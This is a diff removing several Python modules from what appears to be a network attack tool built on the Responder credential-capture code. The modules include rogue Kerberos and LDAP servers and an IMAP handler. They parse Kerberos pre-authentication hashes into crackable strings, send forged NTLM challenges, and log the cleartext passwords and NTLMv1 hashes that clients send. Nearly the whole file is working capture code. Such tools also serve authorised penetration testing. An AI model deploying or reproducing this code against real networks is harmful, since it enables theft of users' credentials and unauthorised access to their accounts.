log.info('IMAP Credentials from {}. ("User" "Pass"): {}'.format(self.client_address[0],Credentials))
|
||||
self.request.send(str(ditchthisconnection()))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
except Exception as e:
|
||||
log.error("Error handling request: {}".format(e))
|
|
@ -1,157 +0,0 @@
|
|||
import socket
|
||||
import threading
|
||||
import struct
|
||||
import logging
|
||||
|
||||
from core.logger import logger
|
||||
from SocketServer import UDPServer, TCPServer, ThreadingMixIn, BaseRequestHandler
|
||||
|
||||
formatter = logging.Formatter("%(asctime)s [KERBserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("KERBserver", formatter)
|
||||
|
||||
class KERBserver():
|
||||
|
||||
def serve_thread_udp(self, host, port, handler):
|
||||
try:
|
||||
server = ThreadingUDPServer((host, port), handler)
|
||||
server.serve_forever()
|
||||
except Exception as e:
|
||||
log.debug("Error starting UDP server on port 88: {}:".format(e))
|
||||
|
||||
def serve_thread_tcp(self, host, port, handler):
|
||||
try:
|
||||
server = ThreadingTCPServer((host, port), handler)
|
||||
server.serve_forever()
|
||||
except Exception as e:
|
||||
log.debug("Error starting TCP server on port 88: {}:".format(e))
|
||||
|
||||
def start(self):
|
||||
log.debug("online")
|
||||
t1 = threading.Thread(name="KERBserverUDP", target=self.serve_thread_udp, args=("0.0.0.0", 88,KerbUDP))
|
||||
t2 = threading.Thread(name="KERBserverTCP", target=self.serve_thread_tcp, args=("0.0.0.0", 88, KerbTCP))
|
||||
for t in [t1,t2]:
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
|
||||
class ThreadingUDPServer(ThreadingMixIn, UDPServer):
|
||||
|
||||
allow_reuse_address = 1
|
||||
|
||||
def server_bind(self):
|
||||
UDPServer.server_bind(self)
|
||||
|
||||
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
|
||||
|
||||
allow_reuse_address = 1
|
||||
|
||||
def server_bind(self):
|
||||
TCPServer.server_bind(self)
|
||||
|
||||
class KerbTCP(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
data = self.request.recv(1024)
|
||||
KerbHash = ParseMSKerbv5TCP(data)
|
||||
if KerbHash:
|
||||
log.info('MSKerbv5 complete hash is: {}'.format(KerbHash))
|
||||
except Exception:
|
||||
raise
|
||||
|
||||
class KerbUDP(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
data, soc = self.request
|
||||
KerbHash = ParseMSKerbv5UDP(data)
|
||||
if KerbHash:
|
||||
log.info('MSKerbv5 complete hash is: {}'.format(KerbHash))
|
||||
except Exception:
|
||||
raise
|
||||
|
||||
def ParseMSKerbv5TCP(Data):
|
||||
MsgType = Data[21:22]
|
||||
EncType = Data[43:44]
|
||||
MessageType = Data[32:33]
|
||||
if MsgType == "\x0a" and EncType == "\x17" and MessageType =="\x02":
|
||||
if Data[49:53] == "\xa2\x36\x04\x34" or Data[49:53] == "\xa2\x35\x04\x33":
|
||||
HashLen = struct.unpack('<b',Data[50:51])[0]
|
||||
if HashLen == 54:
|
||||
Hash = Data[53:105]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[153:154])[0]
|
||||
Name = Data[154:154+NameLen]
|
||||
DomainLen = struct.unpack('<b',Data[154+NameLen+3:154+NameLen+4])[0]
|
||||
Domain = Data[154+NameLen+4:154+NameLen+4+DomainLen]
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
||||
return BuildHash
|
||||
if Data[44:48] == "\xa2\x36\x04\x34" or Data[44:48] == "\xa2\x35\x04\x33":
|
||||
HashLen = struct.unpack('<b',Data[45:46])[0]
|
||||
if HashLen == 53:
|
||||
Hash = Data[48:99]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[147:148])[0]
|
||||
Name = Data[148:148+NameLen]
|
||||
DomainLen = struct.unpack('<b',Data[148+NameLen+3:148+NameLen+4])[0]
|
||||
Domain = Data[148+NameLen+4:148+NameLen+4+DomainLen]
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
||||
return BuildHash
|
||||
if HashLen == 54:
|
||||
Hash = Data[53:105]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[148:149])[0]
|
||||
Name = Data[149:149+NameLen]
|
||||
DomainLen = struct.unpack('<b',Data[149+NameLen+3:149+NameLen+4])[0]
|
||||
Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen]
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
||||
return BuildHash
|
||||
|
||||
else:
|
||||
Hash = Data[48:100]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[148:149])[0]
|
||||
Name = Data[149:149+NameLen]
|
||||
DomainLen = struct.unpack('<b',Data[149+NameLen+3:149+NameLen+4])[0]
|
||||
Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen]
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
||||
return BuildHash
|
||||
else:
|
||||
return False
|
||||
|
||||
def ParseMSKerbv5UDP(Data):
|
||||
MsgType = Data[17:18]
|
||||
EncType = Data[39:40]
|
||||
if MsgType == "\x0a" and EncType == "\x17":
|
||||
if Data[40:44] == "\xa2\x36\x04\x34" or Data[40:44] == "\xa2\x35\x04\x33":
|
||||
HashLen = struct.unpack('<b',Data[41:42])[0]
|
||||
if HashLen == 54:
|
||||
Hash = Data[44:96]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[144:145])[0]
|
||||
Name = Data[145:145+NameLen]
|
||||
DomainLen = struct.unpack('<b',Data[145+NameLen+3:145+NameLen+4])[0]
|
||||
Domain = Data[145+NameLen+4:145+NameLen+4+DomainLen]
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
||||
return BuildHash
|
||||
if HashLen == 53:
|
||||
Hash = Data[44:95]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[143:144])[0]
|
||||
Name = Data[144:144+NameLen]
|
||||
DomainLen = struct.unpack('<b',Data[144+NameLen+3:144+NameLen+4])[0]
|
||||
Domain = Data[144+NameLen+4:144+NameLen+4+DomainLen]
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
||||
return BuildHash
|
||||
|
||||
|
||||
else:
|
||||
Hash = Data[49:101]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[149:150])[0]
|
||||
Name = Data[150:150+NameLen]
|
||||
DomainLen = struct.unpack('<b',Data[150+NameLen+3:150+NameLen+4])[0]
|
||||
Domain = Data[150+NameLen+4:150+NameLen+4+DomainLen]
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
||||
return BuildHash
|
||||
else:
|
||||
return False
|
|
@ -1,224 +0,0 @@
|
|||
#! /usr/bin/env python
|
||||
# NBT-NS/LLMNR Responder
|
||||
# Created by Laurent Gaffie
|
||||
# Copyright (C) 2014 Trustwave Holdings, Inc.
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
|
||||
import struct
|
||||
from core.responder.odict import OrderedDict
|
||||
from core.responder.packet import Packet
|
||||
|
||||
class LDAPSearchDefaultPacket(Packet):
|
||||
fields = OrderedDict([
|
||||
("ParserHeadASNID", "\x30"),
|
||||
("ParserHeadASNLen", "\x0c"),
|
||||
("MessageIDASNID", "\x02"),
|
||||
("MessageIDASNLen", "\x01"),
|
||||
("MessageIDASNStr", "\x0f"),
|
||||
("OpHeadASNID", "\x65"),
|
||||
("OpHeadASNIDLen", "\x07"),
|
||||
("SearchDoneSuccess", "\x0A\x01\x00\x04\x00\x04\x00"),#No Results.
|
||||
])
|
||||
|
||||
class LDAPSearchSupportedCapabilitiesPacket(Packet):
|
||||
fields = OrderedDict([
|
||||
("ParserHeadASNID", "\x30"),
|
||||
("ParserHeadASNLenOfLen", "\x84"),
|
||||
("ParserHeadASNLen", "\x00\x00\x00\x7e"),#126
|
||||
("MessageIDASNID", "\x02"),
|
||||
("MessageIDASNLen", "\x01"),
|
||||
("MessageIDASNStr", "\x02"),
|
||||
("OpHeadASNID", "\x64"),
|
||||
("OpHeadASNIDLenOfLen", "\x84"),
|
||||
("OpHeadASNIDLen", "\x00\x00\x00\x75"),#117
|
||||
("ObjectName", "\x04\x00"),
|
||||
("SearchAttribASNID", "\x30"),
|
||||
("SearchAttribASNLenOfLen", "\x84"),
|
||||
("SearchAttribASNLen", "\x00\x00\x00\x6d"),#109
|
||||
("SearchAttribASNID1", "\x30"),
|
||||
("SearchAttribASN1LenOfLen", "\x84"),
|
||||
("SearchAttribASN1Len", "\x00\x00\x00\x67"),#103
|
||||
("SearchAttribASN2ID", "\x04"),
|
||||
("SearchAttribASN2Len", "\x15"),#21
|
||||
("SearchAttribASN2Str", "supportedCapabilities"),
|
||||
("SearchAttribASN3ID", "\x31"),
|
||||
("SearchAttribASN3LenOfLen", "\x84"),
|
||||
("SearchAttribASN3Len", "\x00\x00\x00\x4a"),
|
||||
("SearchAttrib1ASNID", "\x04"),
|
||||
("SearchAttrib1ASNLen", "\x16"),#22
|
||||
("SearchAttrib1ASNStr", "1.2.840.113556.1.4.800"),
|
||||
("SearchAttrib2ASNID", "\x04"),
|
||||
("SearchAttrib2ASNLen", "\x17"),#23
|
||||
("SearchAttrib2ASNStr", "1.2.840.113556.1.4.1670"),
|
||||
("SearchAttrib3ASNID", "\x04"),
|
||||
("SearchAttrib3ASNLen", "\x17"),#23
|
||||
("SearchAttrib3ASNStr", "1.2.840.113556.1.4.1791"),
|
||||
("SearchDoneASNID", "\x30"),
|
||||
("SearchDoneASNLenOfLen", "\x84"),
|
||||
("SearchDoneASNLen", "\x00\x00\x00\x10"),#16
|
||||
("MessageIDASN2ID", "\x02"),
|
||||
("MessageIDASN2Len", "\x01"),
|
||||
("MessageIDASN2Str", "\x02"),
|
||||
("SearchDoneStr", "\x65\x84\x00\x00\x00\x07\x0a\x01\x00\x04\x00\x04\x00"),
|
||||
## No need to calculate anything this time, this packet is generic.
|
||||
])
|
||||
|
||||
class LDAPSearchSupportedMechanismsPacket(Packet):
|
||||
fields = OrderedDict([
|
||||
("ParserHeadASNID", "\x30"),
|
||||
("ParserHeadASNLenOfLen", "\x84"),
|
||||
("ParserHeadASNLen", "\x00\x00\x00\x60"),#96
|
||||
("MessageIDASNID", "\x02"),
|
||||
("MessageIDASNLen", "\x01"),
|
||||
("MessageIDASNStr", "\x02"),
|
||||
("OpHeadASNID", "\x64"),
|
||||
("OpHeadASNIDLenOfLen", "\x84"),
|
||||
("OpHeadASNIDLen", "\x00\x00\x00\x57"),#87
|
||||
("ObjectName", "\x04\x00"),
|
||||
("SearchAttribASNID", "\x30"),
|
||||
("SearchAttribASNLenOfLen", "\x84"),
|
||||
("SearchAttribASNLen", "\x00\x00\x00\x4f"),#79
|
||||
("SearchAttribASNID1", "\x30"),
|
||||
("SearchAttribASN1LenOfLen", "\x84"),
|
||||
("SearchAttribASN1Len", "\x00\x00\x00\x49"),#73
|
||||
("SearchAttribASN2ID", "\x04"),
|
||||
("SearchAttribASN2Len", "\x17"),#23
|
||||
("SearchAttribASN2Str", "supportedSASLMechanisms"),
|
||||
("SearchAttribASN3ID", "\x31"),
|
||||
("SearchAttribASN3LenOfLen", "\x84"),
|
||||
("SearchAttribASN3Len", "\x00\x00\x00\x2a"),#42
|
||||
("SearchAttrib1ASNID", "\x04"),
|
||||
("SearchAttrib1ASNLen", "\x06"),#6
|
||||
("SearchAttrib1ASNStr", "GSSAPI"),
|
||||
("SearchAttrib2ASNID", "\x04"),
|
||||
("SearchAttrib2ASNLen", "\x0a"),#10
|
||||
("SearchAttrib2ASNStr", "GSS-SPNEGO"),
|
||||
("SearchAttrib3ASNID", "\x04"),
|
||||
("SearchAttrib3ASNLen", "\x08"),#8
|
||||
("SearchAttrib3ASNStr", "EXTERNAL"),
|
||||
("SearchAttrib4ASNID", "\x04"),
|
||||
("SearchAttrib4ASNLen", "\x0a"),#10
|
||||
("SearchAttrib4ASNStr", "DIGEST-MD5"),
|
||||
("SearchDoneASNID", "\x30"),
|
||||
("SearchDoneASNLenOfLen", "\x84"),
|
||||
("SearchDoneASNLen", "\x00\x00\x00\x10"),#16
|
||||
("MessageIDASN2ID", "\x02"),
|
||||
("MessageIDASN2Len", "\x01"),
|
||||
("MessageIDASN2Str", "\x02"),
|
||||
("SearchDoneStr", "\x65\x84\x00\x00\x00\x07\x0a\x01\x00\x04\x00\x04\x00"),
|
||||
## No need to calculate anything this time, this packet is generic.
|
||||
])
|
||||
|
||||
class LDAPNTLMChallenge(Packet):
|
||||
fields = OrderedDict([
|
||||
("ParserHeadASNID", "\x30"),
|
||||
("ParserHeadASNLenOfLen", "\x84"),
|
||||
("ParserHeadASNLen", "\x00\x00\x00\xD0"),#208
|
||||
("MessageIDASNID", "\x02"),
|
||||
("MessageIDASNLen", "\x01"),
|
||||
("MessageIDASNStr", "\x02"),
|
||||
("OpHeadASNID", "\x61"),
|
||||
("OpHeadASNIDLenOfLen", "\x84"),
|
||||
("OpHeadASNIDLen", "\x00\x00\x00\xc7"),#199
|
||||
("Status", "\x0A"),
|
||||
("StatusASNLen", "\x01"),
|
||||
("StatusASNStr", "\x0e"), #In Progress.
|
||||
("MatchedDN", "\x04\x00"), #Null
|
||||
("ErrorMessage", "\x04\x00"), #Null
|
||||
("SequenceHeader", "\x87"),
|
||||
("SequenceHeaderLenOfLen", "\x81"),
|
||||
("SequenceHeaderLen", "\x82"), #188
|
||||
("NTLMSSPSignature", "NTLMSSP"),
|
||||
("NTLMSSPSignatureNull", "\x00"),
|
||||
("NTLMSSPMessageType", "\x02\x00\x00\x00"),
|
||||
("NTLMSSPNtWorkstationLen","\x1e\x00"),
|
||||
("NTLMSSPNtWorkstationMaxLen","\x1e\x00"),
|
||||
("NTLMSSPNtWorkstationBuffOffset","\x38\x00\x00\x00"),
|
||||
("NTLMSSPNtNegotiateFlags","\x15\x82\x89\xe2"),
|
||||
("NTLMSSPNtServerChallenge","\x81\x22\x33\x34\x55\x46\xe7\x88"),
|
||||
("NTLMSSPNtReserved","\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||
("NTLMSSPNtTargetInfoLen","\x94\x00"),
|
||||
("NTLMSSPNtTargetInfoMaxLen","\x94\x00"),
|
||||
("NTLMSSPNtTargetInfoBuffOffset","\x56\x00\x00\x00"),
|
||||
("NegTokenInitSeqMechMessageVersionHigh","\x05"),
|
||||
("NegTokenInitSeqMechMessageVersionLow","\x02"),
|
||||
("NegTokenInitSeqMechMessageVersionBuilt","\xce\x0e"),
|
||||
("NegTokenInitSeqMechMessageVersionReserved","\x00\x00\x00"),
|
||||
("NegTokenInitSeqMechMessageVersionNTLMType","\x0f"),
|
||||
("NTLMSSPNtWorkstationName","SMB12"),
|
||||
("NTLMSSPNTLMChallengeAVPairsId","\x02\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairsLen","\x0a\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairsUnicodeStr","smb12"),
|
||||
("NTLMSSPNTLMChallengeAVPairs1Id","\x01\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs1Len","\x1e\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs1UnicodeStr","SERVER2008"),
|
||||
("NTLMSSPNTLMChallengeAVPairs2Id","\x04\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs2Len","\x1e\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs2UnicodeStr","smb12.local"),
|
||||
("NTLMSSPNTLMChallengeAVPairs3Id","\x03\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs3Len","\x1e\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs3UnicodeStr","SERVER2008.smb12.local"),
|
||||
("NTLMSSPNTLMChallengeAVPairs5Id","\x05\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs5Len","\x04\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs5UnicodeStr","smb12.local"),
|
||||
("NTLMSSPNTLMChallengeAVPairs6Id","\x00\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs6Len","\x00\x00"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
|
||||
##Convert strings to Unicode first...
|
||||
self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le')
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode('utf-16le')
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode('utf-16le')
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode('utf-16le')
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"].encode('utf-16le')
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"].encode('utf-16le')
|
||||
|
||||
###### Workstation Offset
|
||||
CalculateOffsetWorkstation = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
|
||||
|
||||
###### AvPairs Offset
|
||||
CalculateLenAvpairs = str(self.fields["NTLMSSPNTLMChallengeAVPairsId"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsLen"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs2Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs3Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs5Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs6Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs6Len"])
|
||||
|
||||
###### LDAP Packet Len
|
||||
CalculatePacketLen = str(self.fields["MessageIDASNID"])+str(self.fields["MessageIDASNLen"])+str(self.fields["MessageIDASNStr"])+str(self.fields["OpHeadASNID"])+str(self.fields["OpHeadASNIDLenOfLen"])+str(self.fields["OpHeadASNIDLen"])+str(self.fields["Status"])+str(self.fields["StatusASNLen"])+str(self.fields["StatusASNStr"])+str(self.fields["MatchedDN"])+str(self.fields["ErrorMessage"])+str(self.fields["SequenceHeader"])+str(self.fields["SequenceHeaderLen"])+str(self.fields["SequenceHeaderLenOfLen"])+CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])+CalculateLenAvpairs
|
||||
|
||||
|
||||
OperationPacketLen = str(self.fields["Status"])+str(self.fields["StatusASNLen"])+str(self.fields["StatusASNStr"])+str(self.fields["MatchedDN"])+str(self.fields["ErrorMessage"])+str(self.fields["SequenceHeader"])+str(self.fields["SequenceHeaderLen"])+str(self.fields["SequenceHeaderLenOfLen"])+CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])+CalculateLenAvpairs
|
||||
|
||||
NTLMMessageLen = CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])+CalculateLenAvpairs
|
||||
|
||||
##### LDAP Len Calculation:
|
||||
self.fields["ParserHeadASNLen"] = struct.pack(">i", len(CalculatePacketLen))
|
||||
self.fields["OpHeadASNIDLen"] = struct.pack(">i", len(OperationPacketLen))
|
||||
self.fields["SequenceHeaderLen"] = struct.pack(">B", len(NTLMMessageLen))
|
||||
|
||||
##### Workstation Offset Calculation:
|
||||
self.fields["NTLMSSPNtWorkstationBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation))
|
||||
self.fields["NTLMSSPNtWorkstationLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
|
||||
self.fields["NTLMSSPNtWorkstationMaxLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
|
||||
|
||||
##### IvPairs Offset Calculation:
|
||||
self.fields["NTLMSSPNtTargetInfoBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])))
|
||||
self.fields["NTLMSSPNtTargetInfoLen"] = struct.pack("<h", len(CalculateLenAvpairs))
|
||||
self.fields["NTLMSSPNtTargetInfoMaxLen"] = struct.pack("<h", len(CalculateLenAvpairs))
|
||||
##### IvPair Calculation:
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs5Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])))
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs3Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])))
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs2Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])))
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs1Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])))
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairsLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])))
|
||||
|
|
@ -1,121 +0,0 @@
|
|||
import struct
|
||||
import logging
|
||||
import threading
|
||||
import re
|
||||
|
||||
from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
|
||||
from LDAPPackets import *
|
||||
from core.responder.common import *
|
||||
from core.logger import logger
|
||||
|
||||
formatter = logging.Formatter("%(asctime)s [LDAPserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("LDAPserver", formatter)
|
||||
|
||||
class LDAPserver():
|
||||
|
||||
def start(self, chal):
|
||||
global Challenge; Challenge = chal
|
||||
|
||||
try:
|
||||
log.debug("online")
|
||||
server = ThreadingTCPServer(("0.0.0.0", 389), LDAP)
|
||||
t = threading.Thread(name="LDAPserver", target=server.serve_forever)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
except Exception as e:
|
||||
log.error("Error starting on port {}: {}".format(389, e))
|
||||
|
||||
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
|
||||
|
||||
allow_reuse_address = 1
|
||||
|
||||
def server_bind(self):
|
||||
TCPServer.server_bind(self)
|
||||
|
||||
def ParseSearch(data):
|
||||
Search1 = re.search('(objectClass)', data)
|
||||
Search2 = re.search('(?i)(objectClass0*.*supportedCapabilities)', data)
|
||||
Search3 = re.search('(?i)(objectClass0*.*supportedSASLMechanisms)', data)
|
||||
if Search1:
|
||||
return str(LDAPSearchDefaultPacket(MessageIDASNStr=data[8:9]))
|
||||
if Search2:
|
||||
return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9]))
|
||||
if Search3:
|
||||
return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9]))
|
||||
|
||||
def ParseLDAPHash(data,client):
|
||||
SSPIStarts = data[42:]
|
||||
LMhashLen = struct.unpack('<H',data[54:56])[0]
|
||||
if LMhashLen > 10:
|
||||
LMhashOffset = struct.unpack('<H',data[58:60])[0]
|
||||
LMHash = SSPIStarts[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
|
||||
NthashLen = struct.unpack('<H',data[64:66])[0]
|
||||
NthashOffset = struct.unpack('<H',data[66:68])[0]
|
||||
NtHash = SSPIStarts[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
||||
DomainLen = struct.unpack('<H',data[72:74])[0]
|
||||
DomainOffset = struct.unpack('<H',data[74:76])[0]
|
||||
Domain = SSPIStarts[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
|
||||
UserLen = struct.unpack('<H',data[80:82])[0]
|
||||
UserOffset = struct.unpack('<H',data[82:84])[0]
|
||||
User = SSPIStarts[UserOffset:UserOffset+UserLen].replace('\x00','')
|
||||
writehash = User+"::"+Domain+":"+LMHash+":"+NtHash+":"+Challenge
|
||||
Outfile = "./logs/responder/LDAP-NTLMv1-"+client+".txt"
|
||||
WriteData(Outfile,writehash,User+"::"+Domain)
|
||||
#print "[LDAP] NTLMv1 complete hash is :", writehash
|
||||
log.info('NTLMv1 complete hash is :%s'%(writehash))
|
||||
if LMhashLen <2 :
|
||||
Message = 'LDAP Anonymous NTLM authentication, ignoring..'
|
||||
#print Message
|
||||
log.info(Message)
|
||||
|
||||
def ParseNTLM(data,client):
|
||||
Search1 = re.search('(NTLMSSP\x00\x01\x00\x00\x00)', data)
|
||||
Search2 = re.search('(NTLMSSP\x00\x03\x00\x00\x00)', data)
|
||||
if Search1:
|
||||
NTLMChall = LDAPNTLMChallenge(MessageIDASNStr=data[8:9],NTLMSSPNtServerChallenge=Challenge)
|
||||
NTLMChall.calculate()
|
||||
return str(NTLMChall)
|
||||
if Search2:
|
||||
ParseLDAPHash(data,client)
|
||||
|
||||
def ParseLDAPPacket(data,client):
|
||||
if data[1:2] == '\x84':
|
||||
PacketLen = struct.unpack('>i',data[2:6])[0]
|
||||
MessageSequence = struct.unpack('<b',data[8:9])[0]
|
||||
Operation = data[9:10]
|
||||
sasl = data[20:21]
|
||||
OperationHeadLen = struct.unpack('>i',data[11:15])[0]
|
||||
LDAPVersion = struct.unpack('<b',data[17:18])[0]
|
||||
if Operation == "\x60":
|
||||
UserDomainLen = struct.unpack('<b',data[19:20])[0]
|
||||
UserDomain = data[20:20+UserDomainLen]
|
||||
AuthHeaderType = data[20+UserDomainLen:20+UserDomainLen+1]
|
||||
if AuthHeaderType == "\x80":
|
||||
PassLen = struct.unpack('<b',data[20+UserDomainLen+1:20+UserDomainLen+2])[0]
|
||||
Password = data[20+UserDomainLen+2:20+UserDomainLen+2+PassLen]
|
||||
#print '[LDAP]Clear Text User & Password is:', UserDomain+":"+Password
|
||||
outfile = "./logs/responder/LDAP-Clear-Text-Password-"+client+".txt"
|
||||
WriteData(outfile,'User: %s Password: %s'%(UserDomain,Password),'[LDAP]User: %s Password: %s'%(UserDomain,Password))
|
||||
log.info('User: %s Password: %s'%(UserDomain,Password))
|
||||
if sasl == "\xA3":
|
||||
buff = ParseNTLM(data,client)
|
||||
return buff
|
||||
elif Operation == "\x63":
|
||||
buff = ParseSearch(data)
|
||||
return buff
|
||||
else:
|
||||
log.info('Operation not supported')
|
||||
|
||||
#LDAP Server Class
|
||||
class LDAP(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
while True:
|
||||
self.request.settimeout(0.5)
|
||||
data = self.request.recv(8092)
|
||||
buffer0 = ParseLDAPPacket(data,self.client_address[0])
|
||||
if buffer0:
|
||||
self.request.send(buffer0)
|
||||
except Exception:
|
||||
pass #No need to print timeout errors.
|
|
@ -1,176 +0,0 @@
|
|||
import socket
|
||||
import threading
|
||||
import struct
|
||||
import logging
|
||||
|
||||
from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler
|
||||
from core.logger import logger
|
||||
from core.configwatcher import ConfigWatcher
|
||||
